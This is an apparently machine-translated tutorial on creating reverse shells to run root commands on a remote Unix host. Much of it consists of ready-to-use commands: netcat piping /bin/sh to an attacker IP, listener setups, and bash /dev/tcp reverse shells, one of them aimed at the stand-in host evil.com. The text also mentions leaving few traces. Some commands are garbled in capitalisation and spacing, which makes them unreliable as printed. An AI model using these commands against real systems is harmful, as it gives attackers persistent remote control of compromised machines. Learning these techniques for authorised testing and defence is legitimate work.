Reverse shell (Reverse shell) is a technology that sends shell commands to remote machines. This technology becomes very useful when remote machines are behind firewalls and other things. You may say, "isn't a common shell or simple SSH channel capable of implementing this ?" No, it cannot be implemented. On the Internet, I see many people cannot tell the difference between a common shell and a reverse shell. Before starting the following content, we should clarify these concepts.
Reverse Shell (Reverse Shell)
- Reverse shell is used by a remote computer to send its shell to a specific user, rather than binding the shell to a port. The latter is inaccessible in many environments. In this way, you can run the root command on the remote server.
Bind Shell
- The bind shell is used by the user to bind the shell to a local port, so that anyone can send commands in the local network.
Reverse shell is often used by hackers to do some illegal activities. For example, after a server is intruded into, they will set up a reverse shell so that they can easily access this remote computer through this shell in the future. I believe that you will not use it to do such a thing.
Environment requirements
- Remote Unix host
- Netcat installed
Use NetCat for reverse shell interaction
After logging on to the remote host through shell, the following command can easily send the shell to your machine:
- Nc-c/bin/sh <your IP> <Any unblocked port>
You can even use netcat to pipe BASH.
- /Bin/sh | nc <your IP> <Any unblocked port>
Then listen to the shell:
- Nc-l-p <same port>-vvv
Reverse shell through BASH
This technology is used when the remote machine does not have netcat or you want to do something unnatural without leaving too many traces.
Listen to shell:
- Nc-l-p <Any unblocked port>-vvv
Create a new Descriptor and assign it to a network node. In this way, we can read and write this descriptor.
- Exec 5 <>/dev/tcp/evil.com/<same port> $ cat <& 5 | while read line; do $ line 2> & 5> & 5; done
Or another reverse shell:
- 0 <& 196; exec 196 <>/dev/tcp/<your IP>/<same port>; sh <& 196> & 196 2> & 196
In this way, you can easily send any command through netcat.
[How to Create a Reverse Shell to Remotely Execute Root Commands Over Any Open Port Using NetCat or BASH]